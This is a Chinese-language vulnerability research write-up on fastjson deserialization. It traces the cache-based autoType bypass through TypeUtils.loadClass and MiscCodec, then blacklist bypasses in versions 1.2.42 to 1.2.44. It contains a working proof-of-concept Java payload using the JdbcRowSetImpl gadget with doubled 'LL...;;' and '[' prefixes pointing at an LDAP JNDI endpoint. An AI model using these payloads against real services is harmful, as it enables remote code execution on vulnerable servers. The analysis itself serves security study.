很显然上面的利用中,需要开启 autoType,这显然是有很强的限制条件的,很显然我们想要是一种限制条件更加少的利用方式,也就是下面要记录的这种,上一种方式使用的是 loadClass 来加载类,但是由于黑白名单的限制,很显然想要直接绕过是比较困难的
这里有一个从缓存中获取类的方法,这里就是我们现在要利用的突破口
这里是从 mappings 中去寻找,这里看一些哪里可以给这个 mappings 赋值
这里先看第一处
在这个 TypeUtils 这个类中会将基础类型添加进缓存,然后将异常类定义为一个 class 数组
最后通过循环也添加进缓存,这里都是硬编码的部分是没法控制的,接着看第二处
还是在这个类下的 loadclass 方法中,这里这样写是为了提高效率,已经加载的类放入缓存中不必重新加载,这里只需要我们想办法先将恶意类加载到缓存中就可以了,接着找哪里可控调用了这个 loadClass 方法
这里找了一下哪里调用了这个 loadClass 方法,这里实际上可用的只有这个 com.alibaba.fastjson.serializer.MiscCodec 的 deserialze 方法里有可操作的空间
这个类实现了 ObjectSerializer,ObjectDeserializer 所以他是一个序列化,反序列化器
这里会调用 TypeUtils 的 loadClass 方法,这里回头查看一下哪里使用了这个序列化反序列化器
在 ParserConfig 这个类里,会将这个序列化器和对应的类 put 进 deserializers,简单来所就是这里一些内置的类会定义好用哪个序列化器进行序列化和返序列化
这里就比较熟悉了,在 conf 中去获取类加载器,根据类名
conf 中存在前面 deserializers,根据这个来获取序列化器,然后再通过这个序列化器来进行序列化
在 checkAutoType 中存在一个 getClassFromMapping 方法
这里会从缓存中获取这个类
这里就会添加到 mapping 中,漏洞点实际上就比较简单了,首先加载一个恶意类到缓存中,然后再 checkAutoType 会从缓存中获取到这个恶意类来达到我们的目的
先看下面这个示例
# 调试
这里还是调试看一下
断点还是下在老位置
这里因为第一个 token 是 {,所以会调用 parse 这个方法
前面的其他调试这里也不在啰嗦,就出现了上面那一点变化,这里直接到第一次调用这个这个 checkAutoType 方法,传入的 typename 是 java.lang.class 类
这个类不会被黑名单过滤,所以这里会走到这个 findClass 方法,这里是一个内置类,是有对应的反序列化器的
所以这里会被加载到,就退出了
可以看到当前的类是 Class
这里检查下一个 token
这里根据 class 这个类寻找对应的反序列化器,就是这个 MiscCode
调用这个 MiscCode 的 deserialze 方法
这里会判断第二个参数,如果不为 val 会抛出异常
经过一系列的判断,最后会走到这个 TypeUtils.loadClass 方法,跟进一下
在缓存中肯定是找不到的
这里会调用到这样一个方法,将我们的恶意类加入的缓存中
这里因为第二个 @type 的存在,会第二次走到这个 checkAutoType 这个类中
这时能够从缓存中获取这个类,然后后面的流程也就一样了
# fastjson=1.2.42
这个版本中黑名单由明文变为了加密后的,前面的 poc 也只有一种使用 L; 绕过的方式受到了影响
在黑名单的校验后,还将第一个字符和最后一个字符去了,绕过也很简单,双写即可
public class poc42 { | |
public static void main(String[] args) { | |
String str = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
// String str = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"DataSourceName\":\"ldap://127.0.0.1:8087/T\",\"AutoCommit\":false}"; | |
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); | |
JSON.parseObject(str); | |
} | |
} |
# fastjson=1.2.43
这里还是看到这个 checkAutoType 方法
这里对开头是两个 L 的做了一次判断,所以就不能再使用双写 L 的方式,这里还能使用前面的 mapping 和 [的方式
# fastjson=1.2.44
对开始位置是 [也做了现在,还能使用前面说到的 mapping 缓存的利用方式即可